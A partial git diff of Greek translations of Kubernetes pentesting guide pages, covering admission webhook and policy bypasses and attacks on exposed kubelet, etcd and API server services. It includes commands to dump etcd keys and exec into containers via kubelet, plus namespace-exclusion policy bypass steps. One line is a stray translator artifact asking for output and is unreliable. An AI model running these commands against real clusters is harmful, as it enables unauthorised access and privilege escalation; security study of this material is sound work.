μπορεί να τα μπλοκάρει ή να τα επιτρέψει. +Τα validating webhooks μπορούν να απορρίψουν ένα request. Τα mutating webhooks, που ρυθμίζονται με `MutatingWebhookConfiguration`, μπορούν πρώτα να αλλάξουν το object. Οι security reviews θα πρέπει συνήθως να εξετάζουν και τα δύο resources, επειδή ένα malicious ή weak mutating webhook μπορεί να ξαναγράψει workloads, ενώ ένα validating webhook ή policy engine μπορεί να τα μπλοκάρει ή να τα επιτρέψει. -## Σκοπός +## Purpose -Ο σκοπός ενός `ValidatingWebhookConfiguration` είναι να ορίσει πότε ο API server πρέπει να καλέσει ένα validating webhook και πώς πρέπει να χειριστεί το αποτέλεσμα του webhook. Το σημαντικό security ερώτημα δεν είναι μόνο "έχει εγκατασταθεί μια policy?", αλλά επίσης: +Ο σκοπός ενός `ValidatingWebhookConfiguration` είναι να ορίσει πότε το API server πρέπει να καλέσει ένα validating webhook και πώς πρέπει να χειριστεί το αποτέλεσμα του webhook. Το σημαντικό security ερώτημα δεν είναι μόνο "υπάρχει εγκατεστημένη κάποια policy;", αλλά επίσης: -- Ποια API groups, resources, operations και scopes ταιριάζει; +- Με ποια API groups, resources, operations και scopes ταιριάζει; - Ποια namespaces ή objects εξαιρούνται από selectors; -- Το `matchConditions` παραλείπει κάποια request classes; -- Το `failurePolicy` κάνει fail open με `Ignore` ή fail closed με `Fail`; -- Είναι το webhook service προσβάσιμο, αξιόπιστο από το ρυθμισμένο `caBundle`, και εκτελείται από ένα service account με υψηλά privileges; -- Εκθέτει επίσης το policy engine exception resources, excluded users, ή excluded groups; +- Το `matchConditions` παραλείπει κάποιες request classes; +- Το `failurePolicy` αποτυγχάνει open με `Ignore` ή closed με `Fail`; +- Είναι το webhook service reachable, trusted από το ρυθμισμένο `caBundle`, και εκτελείται από ένα service account με υψηλά privileges; +- Το policy engine εκθέτει επίσης exception resources, excluded users ή excluded groups; -**Παράδειγμα** +**Example** -Ακολουθεί ένα παράδειγμα ενός ValidatingWebhookConfiguration: +Here is an example of a ValidatingWebhookConfiguration: ```yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration @@ -57,8 +57,8 @@ values: ["kube-system"]

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : Ένα Kubernetes resource που ορίζει ένα validating webhook, το οποίο είναι ένα server-side component που επαληθεύει incoming Kubernetes API requests απέναντι σε ένα σύνολο από προκαθορισμένους κανόνες και περιορισμούς. -- **Kyverno ClusterPolicy**: Ένας policy ορισμός που καθορίζει ένα σύνολο από κανόνες και περιορισμούς για την επαλήθευση και επιβολή Kubernetes resources, όπως pods, deployments, και services +- **ValidatingWebhookConfiguration (VWC)** : Ένα Kubernetes resource που ορίζει ένα validating webhook, το οποίο είναι ένα server-side component που επικυρώνει τα εισερχόμενα Kubernetes API requests σύμφωνα με ένα σύνολο από προκαθορισμένους κανόνες και constraints. +- **Kyverno ClusterPolicy**: Ένας ορισμός policy που καθορίζει ένα σύνολο από rules και constraints για την επικύρωση και την επιβολή Kubernetes resources, όπως pods, deployments, και services ## Enumeration ``` @@ -67,36 +67,57 @@ $ kubectl get validatingwebhookconfiguration -o yaml $ kubectl get mutatingwebhookconfiguration -o yaml $ kubectl get svc,deploy,pod -A | grep -i webhook ``` -Fields to inspect: +Πεδία προς επιθεώρηση: -- `rules`: Ελέγξτε τα covered API groups, versions, resources, subresources, operations και scope. -- `namespaceSelector` / `objectSelector`: Αναζητήστε namespaces ή labels που εξαιρούν resources από την policy. -- `matchConditions`: CEL expressions μπορούν σκόπιμα ή κατά λάθος να παραλείψουν requests. -- `failurePolicy`: `Ignore` επιτρέπει στα requests να συνεχίσουν αν αποτύχει το webhook; `Fail` τα μπλοκάρει. -- `sideEffects`: Webhooks με side effects μπορεί να μην υποστηρίζουν dry-run testing. -- `timeoutSeconds`: Πολύ σύντομα timeouts σε συνδυασμό με `Ignore` μπορούν να γίνουν fail-open behavior. -- `clientConfig`: Ελέγξτε αν το webhook δείχνει σε in-cluster Service ή external URL, και επιθεωρήστε το backing workload και service account. -- `reinvocationPolicy`: Mutating webhooks μπορεί να κληθούν ξανά όταν μεταγενέστερο mutation αλλάξει το object. +- `rules`: Έλεγξε καλυπτόμενα API groups, versions, resources, subresources, operations και scope. +- `namespaceSelector` / `objectSelector`: Ψάξε για namespaces ή labels που εξαιρούν resources από την policy. +- `matchConditions`: Οι CEL expressions μπορούν εσκεμμένα ή κατά λάθος να παραλείπουν requests. +- `failurePolicy`: Το `Ignore` αφήνει τα requests να συνεχίσουν αν αποτύχει το webhook· το `Fail` τα μπλοκάρει. +- `sideEffects`: Τα webhooks με side effects μπορεί να μην υποστηρίζουν dry-run testing. +- `timeoutSeconds`: Πολύ μικρά timeouts μαζί με `Ignore` μπορούν να οδηγήσουν σε fail-open behavior. +- `clientConfig`: Έλεγξε αν το webhook δείχνει σε in-cluster Service ή external URL, και εξέτασε το backing workload και το service account. +- `reinvocationPolicy`: Τα mutating webhooks μπορεί να ξανακληθούν όταν μεταγενέστερο mutation αλλάξει το object. + +### Native CEL admission policies + +Τα σύγχρονα clusters μπορούν επίσης να επιβάλλουν admission logic με native policy objects στο `admissionregistration.k8s.io`, όχι μόνο με webhook configurations. Το `ValidatingAdmissionPolicy` είναι μια in-process CEL-based εναλλακτική των validating webhooks και είναι ενεργό μόνο όταν ένα `ValidatingAdmissionPolicyBinding` το επιλέγει. Το `MutatingAdmissionPolicy` είναι stable στο Kubernetes v1.36 και ενεργοποιείται από `MutatingAdmissionPolicyBinding` για CEL-generated mutations. + +Απαρίθμησέ τα με: +```bash +kubectl api-resources --api-group=admissionregistration.k8s.io -o wide +kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings +kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true +kubectl get validatingadmissionpolicy -o yaml +kubectl get validatingadmissionpolicybinding -o yaml +``` +Έλεγχοι ασφαλείας: + +- Μια policy χωρίς binding δεν επιβάλλει τίποτα. +- Το `validationActions` στο binding αποφασίζει αν οι αποτυχίες validation θα απορρίπτονται, θα γίνονται warned, θα audited, ή θα καταγράφονται μόνο. +- Το `failurePolicy: Ignore` επιτρέπει στα σφάλματα αξιολόγησης CEL ή σε misconfiguration να fail open. +- Τα `matchConstraints`, `matchConditions`, `namespaceSelector`, και `objectSelector` μπορούν να αποκλείσουν ευαίσθητα requests. +- Τα `paramKind` και `paramRef` μπορούν να κάνουν τα ConfigMaps ή τα CRD-backed parameter objects μέρος του policy boundary; έλεγξε ποιος μπορεί να τροποποιήσει αυτά τα parameter objects. +- Οι εγγραφές σε policies, bindings, και parameter resources πρέπει να αντιμετωπίζονται σαν privileged admission-control αλλαγές. ### Abusing Kyverno and Gatekeeper VWC -Όπως μπορούμε να δούμε όλοι οι operators που είναι εγκατεστημένοι έχουν τουλάχιστον ένα ValidatingWebHookConfiguration(VWC). +Όπως μπορούμε να δούμε, όλοι οι operators που είναι εγκατεστημένοι έχουν τουλάχιστον ένα ValidatingWebHookConfiguration(VWC). -**Kyverno** και **Gatekeeper** είναι και τα δύο Kubernetes policy engines που παρέχουν ένα framework για τον ορισμό και την επιβολή policies σε όλο το cluster. +Οι **Kyverno** και **Gatekeeper** είναι και οι δύο Kubernetes policy engines που παρέχουν ένα framework για τον ορισμό και την επιβολή policies σε όλο το cluster. -Οι exceptions αναφέρονται σε συγκεκριμένους κανόνες ή συνθήκες που επιτρέπουν σε μια policy να παρακαμφθεί ή να τροποποιηθεί κάτω από ορισμένες περιστάσεις, αλλά αυτό δεν είναι ο μόνος τρόπος ! +Τα exceptions αναφέρονται σε συγκεκριμένους κανόνες ή συνθήκες που επιτρέπουν να παρακαμφθεί ή να τροποποιηθεί μια policy υπό ορισμένες συνθήκες, αλλά αυτό δεν είναι ο μόνος τρόπος ! -Για το **kyverno**, όπως και αν υπάρχει ένα validating policy, το webhook `kyverno-resource-validating-webhook-cfg` είναι populated. +Για το **kyverno**, καθώς υπάρχει ένα validating policy, το webhook `kyverno-resource-validating-webhook-cfg` είναι populated. Για το Gatekeeper, υπάρχει το `gatekeeper-validating-webhook-configuration` YAML file. -Και τα δύο έρχονται με default values, αλλά οι Administrator teams μπορεί να έχουν ενημερώσει αυτά τα 2 files. +Και τα δύο έρχονται με default values, αλλά οι Administrator teams ίσως έχουν updated αυτά τα 2 files. ### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -Μπορείς να μου δώσεις το συγκεκριμένο output που θέλεις να ταυτοποιήσω; +Παρακαλώ στείλε το κείμενο/output που θέλεις να ταυτοποιήσω. ```yaml namespaceSelector: matchExpressions: @@ -109,22 +130,22 @@ values: - kube-system - MYAPP ``` -Εδώ, το `kubernetes.io/metadata.name` αναφέρεται στο label του ονόματος του namespace. Namespaces με ονόματα στη λίστα `values` θα εξαιρούνται από την policy: +Εδώ, το `kubernetes.io/metadata.name` αναφέρεται στο namespace name label. Τα namespaces με ονόματα στη λίστα `values` θα εξαιρεθούν από την policy: -Ελέγξτε αν υπάρχουν τα namespaces. Μερικές φορές, λόγω automation ή misconfiguration, κάποια namespaces μπορεί να μην έχουν δημιουργηθεί. Αν έχετε permission να δημιουργήσετε namespace, θα μπορούσατε να δημιουργήσετε ένα namespace με όνομα στη λίστα `values` και οι policies δεν θα εφαρμοστούν στο νέο σας namespace. +Έλεγξε την ύπαρξη των namespaces. Μερικές φορές, λόγω automation ή misconfiguration, κάποια namespaces μπορεί να μην έχουν δημιουργηθεί. Αν έχεις permission να δημιουργείς namespace, θα μπορούσες να δημιουργήσεις ένα namespace με όνομα στη λίστα `values` και οι policies δεν θα εφαρμόζονται στο νέο σου namespace. -Ο στόχος αυτής της επίθεσης είναι να εκμεταλλευτείτε **misconfiguration** μέσα στο VWC ώστε να παρακάμψετε τους περιορισμούς των operators και στη συνέχεια να αυξήσετε τα privileges σας με άλλες τεχνικές +Ο στόχος αυτής της attack είναι να εκμεταλλευτείς το **misconfiguration** μέσα στο VWC ώστε να παρακάμψεις τους restrictions των operators και μετά να αυξήσεις τα privileges σου με άλλες techniques -Άλλα συνηθισμένα μοτίβα bypass ή abuse: +Άλλα κοινά patterns παράκαμψης ή abuse: -- Ένα `objectSelector` που επιτρέπει στους χρήστες να προσθέτουν ένα opt-out label στα δικά τους objects. -- `failurePolicy: Ignore` σε security-critical validation, ειδικά όταν το webhook Service δεν έχει endpoints ή έχει unreliable networking. -- Policy engine exceptions για users, groups, service accounts, namespaces ή roles που είναι ευρύτερες από το intended. -- Missing coverage για workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources ή update operations. +- Ένα `objectSelector` που επιτρέπει στους users να προσθέτουν ένα opt-out label στα δικά τους objects. +- `failurePolicy: Ignore` σε security-critical validation, ειδικά όταν το webhook Service δεν έχει endpoints ή το networking είναι unreliable. +- Εξαιρέσεις του policy engine για users, groups, service accounts, namespaces ή roles που είναι πιο ευρείες από το intended. +- Έλλειψη coverage για workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources ή update operations. - Write access σε `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies ή exception resources. -- Ένα malicious mutating webhook που injects containers, αλλάζει images, mounts secrets, προσθέτει tolerations ή αλλάζει service account selection πριν από validation. +- Ένα malicious mutating webhook που injects containers, αλλάζει images, mounts secrets, προσθέτει tolerations ή αλλάζει τη service account selection πριν από τη validation. -Να θυμάστε ότι το admission προστατεύει μόνο requests που περνούν από την API server admission chain. Static Pods, node-local runtime socket access, direct kubelet abuse και direct etcd access είναι διαφορετικά trust paths και χρειάζονται ξεχωριστό hardening και monitoring. +Να θυμάσαι ότι το admission προστατεύει μόνο requests που περνούν μέσα από το API server admission chain. Τα Static Pods, το node-local runtime socket access, το direct kubelet abuse και το direct etcd access είναι διαφορετικά trust paths και χρειάζονται ξεχωριστό hardening και monitoring. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/ - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) - [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) - [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) +- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/) +- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index f189929ea..75dab33fd 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,25 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -Το Kubernetes χρησιμοποιεί αρκετές **specific network services** που μπορεί να βρεις **exposed to the Internet** ή σε ένα **internal network αφού έχεις compromised ένα pod**. +Το Kubernetes χρησιμοποιεί αρκετές **specific network services** που ίσως βρεις **exposed to the Internet** ή σε ένα **internal network αφού έχεις compromised ένα pod**. ## Finding exposed pods with OSINT -Ένας τρόπος θα μπορούσε να είναι να ψάξεις για `Identity LIKE "k8s.%.com"` στο [crt.sh](https://crt.sh) για να βρεις subdomains σχετικές με kubernetes. Ένας άλλος τρόπος μπορεί να είναι να ψάξεις `"k8s.%.com"` στο github και να αναζητήσεις **YAML files** που περιέχουν το string. +Ένας τρόπος θα μπορούσε να είναι η αναζήτηση `Identity LIKE "k8s.%.com"` στο [crt.sh](https://crt.sh) για να βρεις subdomains που σχετίζονται με Kubernetes. Ένας άλλος τρόπος ίσως είναι να αναζητήσεις `"k8s.%.com"` στο github και να ψάξεις για **YAML files** που περιέχουν το string. Useful external recon signals to correlate before scanning: -- DNS και certificate transparency names που περιέχουν `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, ή region names. -- Cloud load balancer names, CNAMEs, tags, και provider hostnames που μπορούν να συνδέσουν ένα exposed application ή platform UI πίσω σε ένα cluster. -- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, και documentation που leakάρουν kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, ή dashboard settings. -- Managed Kubernetes inventory, όταν cloud credentials are in scope: EKS endpoint public/private access και public CIDRs, GKE public/private control-plane settings και authorized networks, και AKS private cluster/API server authorized IP settings. -- Exposed platform tools γύρω από το cluster όπως Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, και ingress-controller admin or metrics endpoints. +- DNS and certificate transparency names containing `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, or region names. +- Cloud load balancer names, CNAMEs, tags, and provider hostnames that can link an exposed application or platform UI back to a cluster. +- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, and documentation leaking kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, or dashboard settings. +- Managed Kubernetes inventory, when cloud credentials are in scope: EKS endpoint public/private access and public CIDRs, GKE public/private control-plane settings and authorized networks, and AKS private cluster/API server authorized IP settings. +- Exposed platform tools around the cluster such as Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, and ingress-controller admin or metrics endpoints. -Treat these as attribution and prioritization clues. Μια public Ingress application είναι φυσιολογική σε πολλά clusters, ενώ exposed kubelet, etcd, dashboard, CI/CD deploy control, ή leaked kubeconfig material θα πρέπει να έχουν πολύ υψηλότερη προτεραιότητα. +Treat these as attribution and prioritization clues. A public Ingress application is normal in many clusters, while exposed kubelet, etcd, dashboard, CI/CD deploy control, or leaked kubeconfig material should be prioritized much higher. ## How Kubernetes Exposes Services -Μπορεί να σου φανεί χρήσιμο να καταλάβεις πώς το Kubernetes μπορεί να **expose services publicly** ώστε να τα βρεις: +It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them: {{#ref}} ../exposing-services-in-kubernetes.md @@ -28,7 +28,7 @@ Treat these as attribution and prioritization clues. Μια public Ingress appli ## Finding Exposed pods via port scanning -Οι παρακάτω ports μπορεί να είναι ανοιχτά σε ένα Kubernetes cluster: +The following ports might be open in a Kubernetes cluster: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | @@ -53,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -Αυτό είναι η **API Kubernetes service** με την οποία οι administrators συνήθως επικοινωνούν χρησιμοποιώντας το tool **`kubectl`**. +Αυτή είναι η **API Kubernetes service** με την οποία συνήθως επικοινωνούν οι administrators χρησιμοποιώντας το εργαλείο **`kubectl`**. -**Common ports: 6443 and 443**, αλλά επίσης 8443 στο minikube και 8080 ως insecure. +**Συνήθεις ports: 6443 και 443**, αλλά επίσης 8443 στο minikube και 8080 ως insecure. ```bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**Ελέγξτε την ακόλουθη σελίδα για να μάθετε πώς να αποκτήσετε ευαίσθητα δεδομένα και να εκτελέσετε ευαίσθητες ενέργειες μιλώντας σε αυτό το service:** +**Ελέγξτε την ακόλουθη σελίδα για να μάθετε πώς να αποκτήσετε ευαίσθητα δεδομένα και να εκτελέσετε ευαίσθητες ενέργειες μιλώντας σε αυτήν την υπηρεσία:** {{#ref}} ../kubernetes-enumeration.md @@ -69,18 +69,18 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -Αυτό το service **τρέχει σε κάθε node του cluster**. Είναι το service που θα **ελέγχει** τα pods μέσα στο **node**. Μιλάει με το **kube-apiserver**. +Αυτή η υπηρεσία **εκτελείται σε κάθε node του cluster**. Είναι η υπηρεσία που θα **ελέγχει** τα pods μέσα στο **node**. Μιλά με το **kube-apiserver**. -Αν βρείτε αυτό το service exposed, μπορεί να έχετε βρει ένα **unauthenticated RCE**. +Αν βρείτε αυτήν την υπηρεσία εκτεθειμένη, μπορεί να έχετε βρει ένα **unauthenticated RCE**. #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -Εάν η απόκριση είναι `Unauthorized` τότε απαιτείται authentication. +Αν η απόκριση είναι `Unauthorized` τότε απαιτείται authentication. -Αν μπορείς να κάνεις list nodes, μπορείς να πάρεις ένα list των kubelets endpoints με: +Αν μπορείς να κάνεις list nodes, μπορείς να πάρεις ένα list από kubelets endpoints με: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -104,23 +104,23 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ```bash helm --host tiller-deploy.kube-system:44134 version ``` -Θα μπορούσες να abuse αυτό το service για να escalate privileges μέσα στο Kubernetes: +Μπορείς να κάνεις abuse αυτή την υπηρεσία για να κάνεις escalate privileges μέσα στο Kubernetes: ### cAdvisor -Service χρήσιμο για να συλλέγει metrics. +Υπηρεσία χρήσιμη για τη συλλογή metrics. ```bash curl -k https://:4194 ``` ### NodePort -Όταν μια port εκτίθεται σε όλους τους nodes μέσω ενός **NodePort**, η ίδια port ανοίγει σε όλους τους nodes, προωθώντας την traffic προς το δηλωμένο **Service**. By default αυτή η port θα βρίσκεται στο **range 30000-32767**. Έτσι, νέα unchecked services μπορεί να είναι προσβάσιμα μέσω αυτών των ports. +Όταν μια πόρτα εκτίθεται σε όλους τους nodes μέσω ενός **NodePort**, η ίδια πόρτα ανοίγει σε όλους τους nodes, προωθώντας την traffic προς το δηλωμένο **Service**. Από προεπιλογή, αυτή η πόρτα θα βρίσκεται στο **range 30000-32767**. Έτσι, νέα unchecked services μπορεί να είναι προσβάσιμα μέσω αυτών των ports. ```bash sudo nmap -sS -p 30000-32767 ``` -### Επιφάνειες service mesh και proxy +### Service mesh και proxy surfaces -Clusters που χρησιμοποιούν **Istio, Linkerd, Cilium service mesh, ή Envoy-based gateways** προσθέτουν ένα ακόμη service layer για enumeration. Ένα mesh μπορεί να παρέχει mTLS, workload identity, L7 routing, authorization policy, telemetry, και gateway/egress controls, αλλά προστατεύει μόνο την traffic που είναι πραγματικά enrolled και intercepted από το mesh. +Clusters που χρησιμοποιούν **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** προσθέτουν ένα ακόμη service layer προς enumeration. Ένα mesh μπορεί να παρέχει mTLS, workload identity, L7 routing, authorization policy, telemetry, και gateway/egress controls, αλλά προστατεύει μόνο traffic που είναι πραγματικά enrolled και intercepted από το mesh. Χρήσιμοι έλεγχοι από Kubernetes access: ```bash @@ -132,12 +132,12 @@ kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana| ``` Review: -- Namespaces ή workloads που επέλεξαν να μην κάνουν injection, εξακολουθούν να τρέχουν χωρίς proxy, ή δημιουργήθηκαν πριν ενεργοποιηθεί το injection. -- mTLS mode. Τα permissive migration modes μπορεί ακόμα να δέχονται plaintext από unmeshed sources. -- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, και egress resources. -- Linkerd policy resources, identity, Server/authorization objects, και εκτεθειμένα `linkerd-viz`, tap, ή metrics surfaces. -- Cilium service mesh και Gateway API resources, Hubble visibility, Cilium policies, και Envoy integration points. -- Envoy admin, config dump, stats, metrics, tracing, dashboard, και debug endpoints. Αυτά μπορούν να leak routes, upstreams, certificates, identity, και traffic state αν εκτεθούν υπερβολικά. +- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled. +- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources. +- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces. +- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly. Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route. @@ -145,13 +145,23 @@ Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicie ### Kube-apiserver Anonymous Access -Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints: +Anonymous access to **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` may be intentionally reachable, especially when the API server uses `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials. ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) +Useful checks: +```bash +APISERVER='https://:6443' +curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez" +curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz" +curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces" +curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles" +``` +Αν τα resource APIs επιστρέφουν `403`, ο API server μπορεί να έχει ταξινομήσει το request ως `system:anonymous` αλλά το authorization το μπλόκαρε. Αν τα resource APIs επιστρέφουν `200` χωρίς credentials, ψάξε για RoleBindings ή ClusterRoleBindings προς `system:anonymous` ή `system:unauthenticated`, permissive authorizer-chain configuration, ή ένα front-door authentication mistake. + ### **Checking for ETCD Anonymous Access** -The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. +Το ETCD αποθηκεύει τα cluster secrets, configuration files και άλλα **sensitive data**. By **default**, το ETCD **cannot** be accessed **anonymously**, but it always good to check. If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: ```bash @@ -159,17 +169,17 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -Η [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) εξηγεί ότι από προεπιλογή η **anonymous acce**ss στο service είναι **allowed:** +Η [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) εξηγεί ότι από **προεπιλογή η ανώνυμη πρόσβαση** στο service είναι **allowed:** -> Ενεργοποιεί anonymous requests προς τον Kubelet server. Requests που δεν απορρίπτονται από κάποια άλλη μέθοδο authentication αντιμετωπίζονται ως anonymous requests. Τα Anonymous requests έχουν username `system:anonymous` και group name `system:unauthenticated` +> Ενεργοποιεί ανώνυμα requests προς τον Kubelet server. Requests που δεν απορρίπτονται από κάποιο άλλο authentication method αντιμετωπίζονται ως ανώνυμα requests. Τα ανώνυμα requests έχουν username `system:anonymous` και group name `system:unauthenticated` -Για να καταλάβεις καλύτερα πώς λειτουργούν το **authentication και authorization του Kubelet API** δες αυτή τη σελίδα: +Για να καταλάβεις καλύτερα πώς λειτουργεί το **authentication and authorization of the Kubelet API** δες αυτή τη σελίδα: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -Το **Kubelet** service **API is not documented**, αλλά ο source code μπορεί να βρεθεί εδώ και το να βρεις τα exposed endpoints είναι τόσο εύκολο όσο το **running**: +Το **Kubelet** service **API is not documented**, αλλά ο source code μπορεί να βρεθεί εδώ και το να βρεις τα exposed endpoints είναι τόσο εύκολο όσο το **τρέξιμο**: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -181,30 +191,30 @@ Path("/portForward") Path("/containerLogs") Path("/runningpods/"). ``` -Όλα ακούγονται ενδιαφέροντα. +Όλα τους ακούγονται ενδιαφέροντα. -Μπορείς να χρησιμοποιήσεις το εργαλείο [**Kubeletctl**](https://github.com/cyberark/kubeletctl) για να αλληλεπιδράσεις με τα Kubelets και τα endpoints τους. +Μπορείς να χρησιμοποιήσεις το εργαλείο [**Kubeletctl**](https://github.com/cyberark/kubeletctl) για να αλληλεπιδράς με τα Kubelets και τα endpoints τους. #### /pods -Αυτό το endpoint εμφανίζει τα pods και τα containers τους: +Αυτό το endpoint παραθέτει τα pods και τα containers τους: ```bash kubeletctl pods ``` #### /exec -Αυτό το endpoint επιτρέπει να εκτελέσετε code μέσα σε οποιοδήποτε container πολύ εύκολα: +Αυτό το endpoint επιτρέπει να εκτελείς code μέσα σε οποιοδήποτε container πολύ εύκολα: ```bash kubeletctl exec [command] ``` > [!NOTE] > Για να αποφευχθεί αυτή η επίθεση, η υπηρεσία _**kubelet**_ θα πρέπει να εκτελείται με `--anonymous-auth false` και η υπηρεσία θα πρέπει να είναι διαχωρισμένη σε επίπεδο δικτύου. -### **Έλεγχος Έκθεσης Πληροφοριών Kubelet (Read Only Port)** +### **Έλεγχος Έκθεσης Πληροφοριών του Kubelet (Read Only Port)** -Όταν ένα **kubelet read-only port** είναι εκτεθειμένο, καθίσταται δυνατή η ανάκτηση πληροφοριών από το API από μη εξουσιοδοτημένα μέρη. Η έκθεση αυτής της θύρας μπορεί να οδηγήσει σε αποκάλυψη διαφόρων **στοιχείων διαμόρφωσης του cluster**. Αν και οι πληροφορίες, συμπεριλαμβανομένων των **ονόματων pod, των τοποθεσιών εσωτερικών αρχείων και άλλων ρυθμίσεων**, ίσως να μην είναι κρίσιμες, η έκθεσή τους εξακολουθεί να αποτελεί κίνδυνο ασφαλείας και θα πρέπει να αποφεύγεται. +Όταν ένα **kubelet read-only port** είναι εκτεθειμένο, καθίσταται δυνατή η ανάκτηση πληροφοριών από το API από μη εξουσιοδοτημένα μέρη. Η έκθεση αυτού του port μπορεί να οδηγήσει σε αποκάλυψη διαφόρων στοιχείων **cluster configuration**. Παρόλο που οι πληροφορίες, συμπεριλαμβανομένων των **pod names, locations of internal files, and other configurations**, μπορεί να μην είναι κρίσιμες, η έκθεσή τους εξακολουθεί να συνιστά κίνδυνο ασφαλείας και θα πρέπει να αποφεύγεται. -Ένα παράδειγμα του πώς μπορεί να εκμεταλλευτεί αυτή η ευπάθεια περιλαμβάνει έναν απομακρυσμένο επιτιθέμενο που αποκτά πρόσβαση σε ένα συγκεκριμένο URL. Πηγαίνοντας στο `http://:10255/pods`, ο επιτιθέμενος μπορεί δυνητικά να ανακτήσει ευαίσθητες πληροφορίες από το kubelet: +Ένα παράδειγμα του πώς μπορεί να εκμεταλλευτεί αυτή η ευπάθεια περιλαμβάνει έναν απομακρυσμένο επιτιθέμενο που αποκτά πρόσβαση σε ένα συγκεκριμένο URL. Με μετάβαση στο 